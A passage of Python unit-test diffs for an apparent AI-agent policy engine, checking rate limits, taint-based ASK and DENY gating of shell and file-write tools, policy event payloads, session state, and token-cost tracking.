"""Only web_search is rate-limited; other tools pass
freely regardless. The selector's tool-name narrowing
is load-bearing."""
engine = _load_engine("rate-limited-search", conversation_store)
# Exhaust web_search budget.
for _ in range(4):
await _enforce_policy(
engine,
_tool_ctx("web_search", {"q": "x"}),
)
# A different tool passes — not gated by this policy.
r = await _enforce_policy(
engine,
_tool_ctx("summarize", {"text": "y"}),
)
assert r.action == PolicyAction.ALLOW
# ──────────────────────────────────────────────────────────
# secure-research fixture (full IFC scenario)
# ──────────────────────────────────────────────────────────
@pytest.mark.asyncio
async def test_secure_research_initial_labels_seeded(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Two declared labels are seeded to their initial values at build time."""
engine = _load_engine("secure-research", conversation_store)
assert engine.labels == {"confidentiality": "0", "integrity": "1"}
@pytest.mark.asyncio
async def test_secure_research_clean_agent_allows_shell(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Ports omnigent ``test_clean_agent_calls_freely``. An
agent that has not touched web_search or confidential
reads can run shell commands unconditionally."""
engine = _load_engine("secure-research", conversation_store)
r = await _enforce_policy(
engine,
_tool_ctx("run_shell", {"cmd": "ls"}),
)
# All three enforcement policies skip: neither condition
# matches (integrity="1", confidentiality="0") → ALLOW.
assert r.action == PolicyAction.ALLOW
@pytest.mark.asyncio
async def test_secure_research_web_then_shell_asks(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Web search taints integrity → subsequent shell is
ASK (low-integrity enforcement). Ports a happy-path slice
of omnigent ``test_full_pipeline_happy_path``."""
engine = _load_engine("secure-research", conversation_store)
# web_search: ALLOW + integrity→0.
r1 = await _enforce_policy(
engine,
_tool_ctx("web_search", {"q": "q"}),
)
assert r1.action == PolicyAction.ALLOW
assert engine.labels["integrity"] == "0"
# run_shell: ASK because low-integrity enforcement fires.
r2 = await _enforce_policy(
engine,
_tool_ctx("run_shell", {"cmd": "ls"}),
)
assert r2.action == PolicyAction.ASK
assert r2.deciding_policy == "ask_low_integrity"
@pytest.mark.asyncio
async def test_secure_research_doc_then_shell_asks(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Confidential read taints confidentiality →
subsequent shell is ASK (high-confidentiality
enforcement). Mirror of the web-then-shell case on the
other label axis."""
engine = _load_engine("secure-research", conversation_store)
r1 = await _enforce_policy(
engine,
_tool_ctx("read_internal_doc", {"id": "x"}),
)
assert r1.action == PolicyAction.ALLOW
assert engine.labels["confidentiality"] == "1"
r2 = await _enforce_policy(
engine,
_tool_ctx("run_shell", {"cmd": "ls"}),
)
assert r2.action == PolicyAction.ASK
# High-confidentiality is the first ASKing policy in
# YAML order → it wins deciding_policy.
assert r2.deciding_policy == "ask_high_confidentiality"
@pytest.mark.asyncio
async def test_secure_research_both_taints_deny_shell(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Ports omnigent
``test_indirect_pii_plus_external_asks_on_write`` shape
for our labels. When BOTH integrity and confidentiality
are tainted, the stricter DENY policy fires (first in
YAML order) and short-circuits the ASKs."""
engine = _load_engine("secure-research", conversation_store)
await _enforce_policy(engine, _tool_ctx("web_search", {"q": "x"}))
await _enforce_policy(engine, _tool_ctx("read_internal_doc", {"id": "d"}))
# Now integrity=0 AND confidentiality=1 → DENY.
r = await _enforce_policy(
engine,
_tool_ctx("run_shell", {"cmd": "ls"}),
)
assert r.action == PolicyAction.DENY
assert r.deciding_policy == "deny_contaminated_shell"
@pytest.mark.asyncio
async def test_secure_research_write_file_gated_like_shell(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""`write_file` is bundled with `run_shell` in the
enforcement selectors, so it inherits the same
tainted-state behavior. Load-bearing for the agent's
"prevent exfiltration via file writes" promise."""
engine = _load_engine("secure-research", conversation_store)
# Taint integrity only.
await _enforce_policy(engine, _tool_ctx("web_search", {"q": "x"}))
r = await _enforce_policy(
engine,
_tool_ctx("write_file", {"path": "out.txt", "content": "x"}),
)
assert r.action == PolicyAction.ASK
assert r.deciding_policy == "ask_low_integrity"
@pytest.mark.asyncio
async def test_secure_research_taint_persists(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Once integrity drops to "0" via web_search taint,
the value is persisted and reflected in the store."""
engine = _load_engine("secure-research", conversation_store)
await _enforce_policy(engine, _tool_ctx("web_search", {"q": "x"}))
assert engine.labels["integrity"] == "0"
conv = conversation_store.get_conversation(engine.conversation_id)
assert conv.labels["integrity"] == "0"
@@ -0,0 +1,267 @@
"""
Tests for the V0 event dict that FunctionPolicy callables receive.
With the V0 Service Policy interface, callables receive an ``event``
dict (and optionally a ``config`` dict) instead of the old
``(ctx, context)`` pair. Verifies:
- Event dict carries the expected V0 shape (type, target, data,
context).
- The engine's label hot cache is exposed read-only to callables via
``event["context"]["labels"]`` (the advisor cost-plan guard gates on
it), and mutating the exposed copy never corrupts engine state.
- Engine labels still accumulate correctly across evaluations
(verified via ``engine.labels``).
- Policies see each other's set_labels writes via the engine's
``apply_label_writes`` (sequential across evaluations).
"""
from __future__ import annotations
from typing import Any
import pytest
from omnigent.policies.function import FunctionPolicy
from omnigent.policies.types import EvaluationContext
from omnigent.runtime.policies.engine import PolicyEngine
from omnigent.spec.types import (
FunctionPolicySpec,
FunctionRef,
Phase,
PhaseSelector,
PolicyAction,
)
from omnigent.stores.conversation_store.sqlalchemy_store import (
SqlAlchemyConversationStore,
)
from tests.runtime.policies.conftest import make_fixed_policy
def _capturing_policy(bucket: dict[str, Any]) -> FunctionPolicy:
"""Build a FunctionPolicy that records the V0 event it
receives into *bucket*. Used to inspect what the engine
passed at evaluate time."""
def _evaluate(event: dict[str, Any]) -> dict[str, Any]:
bucket["event"] = dict(event) # copy to capture snapshot
return {"result": "ALLOW"}
spec = FunctionPolicySpec(
name="capture",
on=[PhaseSelector(phase=Phase.REQUEST)],
function=FunctionRef(path="test.not.used"), # build-time stub
)
return FunctionPolicy(spec, _evaluate)
def _build(
store: SqlAlchemyConversationStore,
policies: list,
*,
initial_labels: dict[str, str] | None = None,
) -> PolicyEngine:
"""Build engine + fresh conversation."""
conv = store.create_conversation()
return PolicyEngine(
policies=policies,
label_defs={},
ask_timeout=30,
conversation_id=conv.id,
initial_labels=initial_labels or {},
conversation_store=store,
)
# ── V0 event shape ──
@pytest.mark.asyncio
async def test_event_carries_v0_shape(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""FunctionPolicy callable receives a V0-shaped event dict
with type, target, data, and context keys."""
bucket: dict[str, Any] = {}
policy = _capturing_policy(bucket)
engine = _build(
conversation_store,
[policy],
initial_labels={"integrity": "1"},
)
await engine.evaluate(EvaluationContext(phase=Phase.REQUEST, content="hello"))
event = bucket["event"]
assert event["type"] == "request"
assert event["target"] is None # REQUEST phase has no tool_name
assert event["data"] == "hello"
assert "actor" in event["context"]
@pytest.mark.asyncio
async def test_event_context_usage_carries_total_cost_usd(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""``event["context"]["usage"]`` carries ``total_cost_usd``.
A cost-budget policy reads
``event["context"]["usage"]["total_cost_usd"]``; this pins that the
engine seeds it and the function adapter forwards it, so the
``UsageContext.total_cost_usd`` schema field reflects what actually
flows at runtime. If the adapter dropped the key (or the engine
default omitted it), the policy would see no cost and never fire —
the assertion below would KeyError / mismatch.
"""
bucket: dict[str, Any] = {}
policy = _capturing_policy(bucket)
conv = conversation_store.create_conversation()
engine = PolicyEngine(
policies=[policy],
label_defs={},
ask_timeout=30,
conversation_id=conv.id,
initial_labels={},
initial_usage={
"input_tokens": 1000,
"output_tokens": 200,
"total_tokens": 1200,
"total_cost_usd": 0.42,
},
conversation_store=conversation_store,
)
await engine.evaluate(EvaluationContext(phase=Phase.REQUEST, content="hi"))
usage = bucket["event"]["context"]["usage"]
# 0.42 is the seeded session cost — proves the priced figure reaches
# the policy, not just the token counts.
assert usage["total_cost_usd"] == 0.42
assert usage["input_tokens"] == 1000
@pytest.mark.asyncio
async def test_event_tool_call_carries_target(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""On TOOL_CALL phase, event.target is the tool_name."""
bucket: dict[str, Any] = {}
def _evaluate(event: dict[str, Any]) -> dict[str, Any]:
bucket["event"] = dict(event)
return {"result": "ALLOW"}
spec = FunctionPolicySpec(
name="capture",
on=[PhaseSelector(phase=Phase.TOOL_CALL)],
function=FunctionRef(path="test.not.used"),
)
policy = FunctionPolicy(spec, _evaluate)
engine = _build(conversation_store, [policy])
await engine.evaluate(
EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": "web_search", "arguments": {"q": "test"}},
tool_name="web_search",
),
)
event = bucket["event"]
assert event["type"] == "tool_call"
assert event["target"] == "web_search"
assert event["data"] == {"name": "web_search", "arguments": {"q": "test"}}
@pytest.mark.asyncio
async def test_event_context_carries_labels_snapshot(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""``event["context"]["labels"]`` carries the engine's label cache.
The advisor cost-plan guard reads ``cost_control.plan`` from this
field; if the engine stopped injecting labels (or the function
adapter dropped the key), the guard would silently see no plan and
never enforce — the value assertion below would fail.
"""
bucket: dict[str, Any] = {}
policy = _capturing_policy(bucket)
engine = _build(
conversation_store,
[policy],
initial_labels={"cost_control.plan": '{"v": 1}', "integrity": "1"},
)
await engine.evaluate(EvaluationContext(phase=Phase.REQUEST, content="hi"))
# Exact-mapping assertion: both seeded labels arrive, nothing else.
assert bucket["event"]["context"]["labels"] == {
"cost_control.plan": '{"v": 1}',
"integrity": "1",
}
# The exposed dict is a defensive copy — mutating it must not
# corrupt the engine's hot cache (a shared reference would).
bucket["event"]["context"]["labels"]["integrity"] = "0"
assert engine.labels["integrity"] == "1"
# ── Engine labels still work correctly ──
@pytest.mark.asyncio
async def test_engine_labels_accumulate_across_evaluations(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Engine's hot cache reflects label writes from prior
evaluations. A subsequent evaluation sees the effects of a
prior policy's set_labels."""
bucket_1: dict[str, Any] = {}
bucket_2: dict[str, Any] = {}
policy_1 = _capturing_policy(bucket_1)
policy_2 = _capturing_policy(bucket_2)
engine = _build(
conversation_store,
[policy_1],
initial_labels={"integrity": "1"},
)
# First evaluation.
await engine.evaluate(EvaluationContext(phase=Phase.REQUEST, content="x"))
assert engine.labels == {"integrity": "1"}
# Apply a write outside evaluate — bumps the hot cache.
engine.apply_label_writes({"integrity": "0"})
# Swap in policy_2 and re-evaluate.
engine.policies = [policy_2]
await engine.evaluate(EvaluationContext(phase=Phase.REQUEST, content="x"))
# Engine's labels reflect the update.
assert engine.labels == {"integrity": "0"}
@pytest.mark.asyncio
async def test_label_writer_then_reader_in_same_evaluation(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""A fixed policy writes integrity=0; a later FunctionPolicy in
the same evaluate() call sees the engine's initial label state
(context is built once). After evaluate, engine reflects the
accumulated writes."""
bucket: dict[str, Any] = {}
# Policy 1: FunctionPolicy writes integrity=0.
writer = make_fixed_policy(
name="writer",
on=[PhaseSelector(phase=Phase.REQUEST)],
action=PolicyAction.ALLOW,
set_labels={"integrity": "0"},
)
# Policy 2: FunctionPolicy captures event.
reader = _capturing_policy(bucket)
engine = _build(
conversation_store,
[writer, reader],
initial_labels={"integrity": "1"},
)
await engine.evaluate(EvaluationContext(phase=Phase.REQUEST, content="x"))
# After evaluate, the cache reflects the accumulated writes.
assert engine.labels == {"integrity": "0"}
# The V0 event was received.
assert bucket["event"]["type"] == "request"
@@ -0,0 +1,646 @@
"""
Tests for PolicyEngine session_state — reading and writing per-turn
mutable state from function policy callables.
Verifies:
- Engine exposes current ``session_state`` via ``event["session_state"]``.
- ``PolicyResult.state_updates`` are shallow-merged into the hot cache.
- State accumulates within a single engine instance (visible on the next evaluation).
- Multiple policies in one pass accumulate updates in YAML order
(last-write-wins per key).
- State updates are applied on DENY (not discarded on short-circuit).
- State updates are withheld on ASK (not applied until caller approves).
- Engine loaded with ``initial_session_state`` seeds the hot cache.
"""
from __future__ import annotations
from typing import Any
import pytest
from omnigent.llms.context_window import ModelPricing
from omnigent.policies.function import FunctionPolicy
from omnigent.policies.types import EvaluationContext
from omnigent.runtime.policies.engine import PolicyEngine
from omnigent.spec.types import (
FunctionPolicySpec,
FunctionRef,
Phase,
PhaseSelector,
PolicyAction,
StateUpdateAction,
)
from omnigent.stores.conversation_store.sqlalchemy_store import (
SqlAlchemyConversationStore,
)
def _state_writing_policy(
name: str,
state_updates: dict[str, Any],
*,
action: str = "ALLOW",
) -> FunctionPolicy:
"""
Build a :class:`FunctionPolicy` that returns fixed *state_updates*.
:param name: Policy name, e.g. ``"counter_policy"``.
:param state_updates: Key/value pairs to return as
:attr:`PolicyResult.state_updates`.
:param action: Decision string passed to the result, e.g. ``"ALLOW"``.
:returns: A :class:`FunctionPolicy` ready for engine use.
"""
def _evaluate(_event: dict[str, Any]) -> dict[str, Any]:
return {"result": action, "state_updates": state_updates}
spec = FunctionPolicySpec(
name=name,
on=[PhaseSelector(phase=Phase.REQUEST)],
function=FunctionRef(path="test.not.used"),
)
return FunctionPolicy(spec, _evaluate)
def _state_capturing_policy(bucket: dict[str, Any]) -> FunctionPolicy:
"""
Build a :class:`FunctionPolicy` that records ``event["session_state"]``
into *bucket* for assertion.
:param bucket: Dict to write the captured state snapshot into under
key ``"session_state"``.
:returns: A capturing :class:`FunctionPolicy`.
"""
def _evaluate(event: dict[str, Any]) -> dict[str, Any]:
bucket["session_state"] = dict(event["session_state"])
return {"result": "ALLOW"}
spec = FunctionPolicySpec(
name="capture",
on=[PhaseSelector(phase=Phase.REQUEST)],
function=FunctionRef(path="test.not.used"),
)
return FunctionPolicy(spec, _evaluate)
def _model_capturing_policy(bucket: dict[str, Any]) -> FunctionPolicy:
"""
Build a :class:`FunctionPolicy` that records ``event["context"]["model"]``
into *bucket* for assertion.
:param bucket: Dict to write the captured model into under key
``"model"`` (present even when the value is ``None``).
:returns: A capturing :class:`FunctionPolicy`.
"""
def _evaluate(event: dict[str, Any]) -> dict[str, Any]:
bucket["model"] = event["context"]["model"]
return {"result": "ALLOW"}
spec = FunctionPolicySpec(
name="capture_model",
on=[PhaseSelector(phase=Phase.TOOL_CALL)],
function=FunctionRef(path="test.not.used"),
)
return FunctionPolicy(spec, _evaluate)
def _build_engine(
store: SqlAlchemyConversationStore,
policies: list[FunctionPolicy],
*,
initial_session_state: dict[str, Any] | None = None,
initial_model: str | None = None,
) -> PolicyEngine:
"""
Build a :class:`PolicyEngine` with a fresh conversation.
:param store: Backing store used to create the conversation and
handle label writes.
:param policies: Ordered list of policies to run.
:param initial_session_state: Seed state for the engine's hot cache,
e.g. ``{"call_count": 3}``. ``None`` means start empty.
:param initial_model: Seed model for the engine's model context,
e.g. ``"opus"``. ``None`` means the model is undeterminable.
:returns: A ready :class:`PolicyEngine`.
"""
conv = store.create_conversation()
return PolicyEngine(
policies=policies,
label_defs={},
ask_timeout=30,
conversation_id=conv.id,
initial_labels={},
initial_session_state=initial_session_state or {},
initial_model=initial_model,
conversation_store=store,
)
# ── Reading session_state from the event ──────────────────────────────────────
@pytest.mark.asyncio
async def test_event_carries_session_state_key(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
Function policy callables receive ``event["session_state"]`` as a
dict. Defaults to an empty dict when no state has been written yet.
What breaks if this fails: policies that read ``event["session_state"]``
get a KeyError or ``None`` instead of the expected dict, breaking every
stateful policy callable.
"""
bucket: dict[str, Any] = {}
engine = _build_engine(conversation_store, [_state_capturing_policy(bucket)])
await engine.evaluate(EvaluationContext(phase=Phase.REQUEST, content="hello"))
assert bucket["session_state"] == {}
@pytest.mark.asyncio
async def test_event_session_state_reflects_initial_seed(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
When the engine is seeded with ``initial_session_state``, that state
is visible in ``event["session_state"]`` on the first evaluation.
What breaks if this fails: policies resuming a conversation lose the
state accumulated in prior turns — every turn starts from scratch.
"""
bucket: dict[str, Any] = {}
engine = _build_engine(
conversation_store,
[_state_capturing_policy(bucket)],
initial_session_state={"call_count": 3, "last_tool": "read_file"},
)
await engine.evaluate(EvaluationContext(phase=Phase.REQUEST, content="hi"))
assert bucket["session_state"] == {"call_count": 3, "last_tool": "read_file"}
# ── Injecting the active model ──────────────────────────────────────────────────
@pytest.mark.asyncio
async def test_event_context_carries_injected_model(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
The engine injects ``initial_model`` into ``event["context"]["model"]``.
What breaks if this fails: model-aware policies (e.g. the cost gate's
force-downgrade branch) can never read the active model, so they
cannot tell an expensive model from a cheap one and the downgrade
gate is dead.
"""
bucket: dict[str, Any] = {}
engine = _build_engine(
conversation_store,
[_model_capturing_policy(bucket)],
initial_model="databricks-claude-opus-4-8",
)
await engine.evaluate(
EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": "sys_os_shell", "arguments": {}},
tool_name="sys_os_shell",
)
)
assert bucket["model"] == "databricks-claude-opus-4-8"
@pytest.mark.asyncio
async def test_event_context_model_is_none_when_unseeded(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
With no ``initial_model``, ``event["context"]["model"]`` is ``None``.
What breaks if this fails: an undeterminable model would surface as a
truthy MagicMock / missing key instead of ``None``, breaking the
cost gate's "fail closed on unknown model" branch.
"""
bucket: dict[str, Any] = {}
engine = _build_engine(conversation_store, [_model_capturing_policy(bucket)])
await engine.evaluate(
EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": "sys_os_shell", "arguments": {}},
tool_name="sys_os_shell",
)
)
assert bucket["model"] is None
@pytest.mark.asyncio
async def test_caller_supplied_model_wins_over_engine_resolved(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
A model already on the context is preferred over ``initial_model``.
This is the race-free path for codex: the native hook reads the live
model from ``config.toml`` at gate time and stamps it on the context.
It must win over the engine's build-time resolution (which can lag
behind a ``/model`` switch). What breaks if this fails: a user who
downgrades via ``/model`` stays blocked because the gate keeps seeing
the stale expensive model the engine resolved at build time.
"""
bucket: dict[str, Any] = {}
engine = _build_engine(
conversation_store,
[_model_capturing_policy(bucket)],
initial_model="gpt-5.5", # stale/expensive value resolved at build time
)
await engine.evaluate(
EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": "sys_os_shell", "arguments": {}},
tool_name="sys_os_shell",
model="gpt-5.4", # live value the hook read from config.toml
)
)
# The hook-supplied gpt-5.4 reaches the policy, NOT the engine's gpt-5.5.
assert bucket["model"] == "gpt-5.4"
# ── Writing state_updates ──────────────────────────────────────────────────────
@pytest.mark.asyncio
async def test_state_updates_merge_into_hot_cache(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
A policy returning ``state_updates`` causes the engine's hot cache
to reflect the merged state after evaluation.
What breaks if this fails: ``engine.session_state`` never changes
regardless of what policies return — state accumulation is silently
broken.
"""
policy = _state_writing_policy("counter", {"call_count": 1})
engine = _build_engine(conversation_store, [policy])
assert engine.session_state == {}
await engine.evaluate(EvaluationContext(phase=Phase.REQUEST, content="x"))
assert engine.session_state == {"call_count": 1}
@pytest.mark.asyncio
async def test_state_updates_shallow_merge_preserves_unmentioned_keys(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
state_updates are a shallow merge: keys not mentioned in the update
are left untouched in the hot cache.
What breaks if this fails: a policy updating ``call_count`` silently
wipes out ``last_tool`` and any other previously-set keys.
"""
policy = _state_writing_policy("updater", {"call_count": 5})
engine = _build_engine(
conversation_store,
[policy],
initial_session_state={"last_tool": "write_file", "call_count": 4},
)
await engine.evaluate(EvaluationContext(phase=Phase.REQUEST, content="x"))
assert engine.session_state == {"last_tool": "write_file", "call_count": 5}
@pytest.mark.asyncio
async def test_multiple_policies_accumulate_state_updates_last_write_wins(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
When multiple policies in one evaluation pass return state_updates
for the same key, the last policy in YAML order wins.
What breaks if this fails: the first policy always wins, or updates
are silently dropped, violating the documented merge semantics.
"""
policy_a = _state_writing_policy("policy_a", {"x": "from_a", "y": "from_a"})
policy_b = _state_writing_policy("policy_b", {"x": "from_b"})
engine = _build_engine(conversation_store, [policy_a, policy_b])
await engine.evaluate(EvaluationContext(phase=Phase.REQUEST, content="x"))
# policy_b wins on "x"; "y" from policy_a is untouched.
assert engine.session_state == {"x": "from_b", "y": "from_a"}
@pytest.mark.asyncio
async def test_state_updates_applied_on_deny(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
state_updates from a DENYing policy are still applied — consistent
with how set_labels are applied on DENY.
What breaks if this fails: a policy that both denies AND records
audit state loses its state write, breaking audit trails on
blocked requests.
"""
policy = _state_writing_policy("deny_and_log", {"blocked": True}, action="DENY")
engine = _build_engine(conversation_store, [policy])
result = await engine.evaluate(EvaluationContext(phase=Phase.REQUEST, content="x"))
assert result.action == PolicyAction.DENY
# State was still applied despite the DENY.
assert engine.session_state == {"blocked": True}
@pytest.mark.asyncio
async def test_state_updates_withheld_on_ask(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
state_updates from an ASKing policy are NOT applied to the hot cache —
they are carried in the result for the caller to apply on approval only.
What breaks if this fails: a policy that ASKs and is later denied would
still apply its state writes, violating the §7.2 "no side effects from
a denied ASK" invariant. The engine would accumulate state from every
ASK, whether approved or denied.
"""
policy = _state_writing_policy("ask_policy", {"flagged": True}, action="ASK")
engine = _build_engine(conversation_store, [policy])
result = await engine.evaluate(EvaluationContext(phase=Phase.REQUEST, content="x"))
assert result.action == PolicyAction.ASK
# State NOT applied to the hot cache — withheld pending approval.
assert engine.session_state == {}
# State is carried in the result for callers to apply on approval.
assert result.state_updates is not None
assert len(result.state_updates) == 1
assert result.state_updates[0].key == "flagged"
assert result.state_updates[0].action == StateUpdateAction.SET
assert result.state_updates[0].value is True
@pytest.mark.asyncio
async def test_second_evaluation_sees_prior_state_updates(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
A callable that writes state on one evaluation sees that state in
``event["session_state"]`` on the next evaluation of the same engine.
What breaks if this fails: within-turn state accumulation is broken —
each policy sees an empty dict regardless of what earlier policies wrote.
"""
write_bucket: dict[str, Any] = {}
def _write_then_capture(event: dict[str, Any]) -> dict[str, Any]:
write_bucket["seen"] = dict(event["session_state"])
return {"result": "ALLOW", "state_updates": {"step": "done"}}
spec = FunctionPolicySpec(
name="write_then_capture",
on=[PhaseSelector(phase=Phase.REQUEST)],
function=FunctionRef(path="test.not.used"),
)
policy = FunctionPolicy(spec, _write_then_capture)
engine = _build_engine(conversation_store, [policy], initial_session_state={"step": "start"})
# First evaluation — sees initial seed, writes "done".
await engine.evaluate(EvaluationContext(phase=Phase.REQUEST, content="turn1"))
assert write_bucket["seen"] == {"step": "start"}
assert engine.session_state == {"step": "done"}
# Second evaluation — sees the write from the first turn.
await engine.evaluate(EvaluationContext(phase=Phase.REQUEST, content="turn2"))
assert write_bucket["seen"] == {"step": "done"}
# ── Usage tracking ────────────────────────────────────────────────────────────
def _usage_capturing_policy(bucket: dict[str, Any]) -> FunctionPolicy:
"""
Build a :class:`FunctionPolicy` that records ``event["context"]["usage"]``
into *bucket* for assertion.
:param bucket: Dict to write the captured usage snapshot into under
key ``"usage"``.
:returns: A capturing :class:`FunctionPolicy`.
"""
def _evaluate(event: dict[str, Any]) -> dict[str, Any]:
bucket["usage"] = dict(event["context"]["usage"])
return {"result": "ALLOW"}
spec = FunctionPolicySpec(
name="usage_capture",
on=[PhaseSelector(phase=Phase.REQUEST)],
function=FunctionRef(path="test.not.used"),
)
return FunctionPolicy(spec, _evaluate)
@pytest.mark.asyncio
async def test_engine_starts_with_zero_usage(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
Engine starts with all-zero usage counters when no initial_usage is
provided.
What breaks if this fails: the usage property would be missing keys or
start with non-zero values, causing budget-enforcement policies to
miscount from the first turn.
"""
engine = _build_engine(conversation_store, [])
assert engine.usage == {
"input_tokens": 0,
"output_tokens": 0,
"total_tokens": 0,
"cache_read_input_tokens": 0,
"cache_creation_input_tokens": 0,
"total_cost_usd": 0.0,
}
@pytest.mark.asyncio
async def test_record_usage_accumulates(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
After ``record_usage()`` calls, the engine's usage property reflects the
cumulative values. Without pricing, total_cost_usd stays at 0.
What breaks if this fails: usage counters would reset or not increment,
making cumulative tracking useless for budget policies.
"""
engine = _build_engine(conversation_store, [])
engine.record_usage(input_tokens=100, output_tokens=50, total_tokens=150)
assert engine.usage["input_tokens"] == 100
assert engine.usage["output_tokens"] == 50
assert engine.usage["total_tokens"] == 150
assert engine.usage["cache_read_input_tokens"] == 0
assert engine.usage["cache_creation_input_tokens"] == 0
assert engine.usage["total_cost_usd"] == 0.0
engine.record_usage(input_tokens=200, output_tokens=100, total_tokens=300)
assert engine.usage["input_tokens"] == 300
assert engine.usage["output_tokens"] == 150
assert engine.usage["total_tokens"] == 450
# Third call with cache tokens to verify accumulation.
engine.record_usage(
input_tokens=50,
output_tokens=25,
total_tokens=75,
cache_read_input_tokens=3000,
cache_creation_input_tokens=1000,
)
assert engine.usage["input_tokens"] == 350
assert engine.usage["output_tokens"] == 175
assert engine.usage["total_tokens"] == 525
assert engine.usage["cache_read_input_tokens"] == 3000
assert engine.usage["cache_creation_input_tokens"] == 1000
@pytest.mark.asyncio
async def test_record_usage_with_pricing_computes_cost(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
When ``token_pricing`` (:class:`ModelPricing`) is provided,
``record_usage()`` computes ``total_cost_usd`` from the per-token
rates using :func:`compute_llm_cost`.
What breaks if this fails: budget-enforcement policies that read
``event["context"]["usage"]["total_cost_usd"]`` would always see 0,
making cost-based gating impossible.
"""
conv = conversation_store.create_conversation()
# $3/M input, $15/M output (Claude Sonnet pricing), no cache rates.
pricing = ModelPricing(
input_per_token=3.0 / 1_000_000,
output_per_token=15.0 / 1_000_000,
)
engine = PolicyEngine(
policies=[],
label_defs={},
ask_timeout=30,
conversation_id=conv.id,
initial_labels={},
token_pricing=pricing,
conversation_store=conversation_store,
)
# 1000 input tokens @ $3/M = $0.003, 500 output tokens @ $15/M = $0.0075
engine.record_usage(input_tokens=1000, output_tokens=500, total_tokens=1500)
expected_cost = 1000 * 3.0 / 1_000_000 + 500 * 15.0 / 1_000_000
assert engine.usage["total_cost_usd"] == pytest.approx(expected_cost)
assert engine.usage["total_cost_usd"] == pytest.approx(0.0105)
@pytest.mark.asyncio
async def test_record_usage_with_cache_tokens_computes_cost(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
When ``ModelPricing`` includes cache-read and cache-write rates,
``record_usage()`` prices cache tokens at their own rates instead
of the plain input rate.
What breaks if this fails: cache-read tokens (cheap) and cache-write
tokens (expensive) would be priced at the plain input rate, over- or
under-counting cost for Anthropic-style providers.
"""
conv = conversation_store.create_conversation()
# Anthropic-style pricing: $3/M input, $15/M output,
# $0.30/M cache-read (0.1x), $3.75/M cache-write (1.25x).
pricing = ModelPricing(
input_per_token=3.0 / 1_000_000,
output_per_token=15.0 / 1_000_000,
cache_read_per_token=0.30 / 1_000_000,
cache_write_per_token=3.75 / 1_000_000,
)
engine = PolicyEngine(
policies=[],
label_defs={},
ask_timeout=30,
conversation_id=conv.id,
initial_labels={},
token_pricing=pricing,
conversation_store=conversation_store,
)
engine.record_usage(
input_tokens=1000,
output_tokens=500,
total_tokens=1500,
cache_read_input_tokens=5000,
cache_creation_input_tokens=2000,
)
# 1000 * 3e-6 = 0.003 (non-cached input)
# 500 * 15e-6 = 0.0075 (output)
# 5000 * 0.3e-6 = 0.0015 (cache read)
# 2000 * 3.75e-6 = 0.0075 (cache write)
# total = 0.0195
expected = (
1000 * 3.0 / 1_000_000
+ 500 * 15.0 / 1_000_000
+ 5000 * 0.30 / 1_000_000
+ 2000 * 3.75 / 1_000_000
)
assert engine.usage["total_cost_usd"] == pytest.approx(expected)
assert engine.usage["total_cost_usd"] == pytest.approx(0.0195)
assert engine.usage["cache_read_input_tokens"] == 5000
assert engine.usage["cache_creation_input_tokens"] == 2000
@pytest.mark.asyncio
async def test_event_context_carries_usage(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
The ``event["context"]["usage"]`` dict carries the current cumulative
token counts when a function policy is dispatched.
What breaks if this fails: policy callables that read
``event["context"]["usage"]`` would get stale or empty usage data,
breaking budget-enforcement or rate-limiting policies.
"""
bucket: dict[str, Any] = {}
policy = _usage_capturing_policy(bucket)
engine = _build_engine(conversation_store, [policy])
engine.record_usage(input_tokens=500, output_tokens=200, total_tokens=700)
await engine.evaluate(EvaluationContext(phase=Phase.REQUEST, content="hi"))
assert bucket["usage"]["input_tokens"] == 500
assert bucket["usage"]["output_tokens"] == 200
assert bucket["usage"]["total_tokens"] == 700
@pytest.mark.asyncio
async def test_record_usage_persists_to_store(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
``record_usage()`` writes the cumulative totals to the conversation's
``session_usage`` column so they survive across engine lifetimes.
What breaks if this fails: usage counters reset to zero on every new
turn because the persisted state is never written.
"""
conv = conversation_store.create_conversation()
engine = PolicyEngine(
policies=[],
label_defs={},
ask_timeout=30,
conversation_id=conv.id,
initial_labels={},
conversation_store=conversation_store,
)
engine.record_usage(
input_tokens=100,
output_tokens=50,
total_tokens=150,
cache_read_input_tokens=400,
cache_creation_input_tokens=200,
)
reloaded = conversation_store.get_conversation(conv.id)
assert reloaded is not None
assert reloaded.session_usage["input_tokens"] == 100
assert reloaded.session_usage["output_tokens"] == 50
assert reloaded.session_usage["total_tokens"] == 150
assert reloaded.session_usage["cache_read_input_tokens"] == 400
assert reloaded.session_usage["cache_creation_input_tokens"] == 200
assert reloaded.session_usage["total_cost_usd"] == 0.0
@@ -0,0 +1,304 @@
"""
Tests for the Phase 2 :class:`PolicyEngine` skeleton.
At this phase the engine has no concrete policy subclasses, so
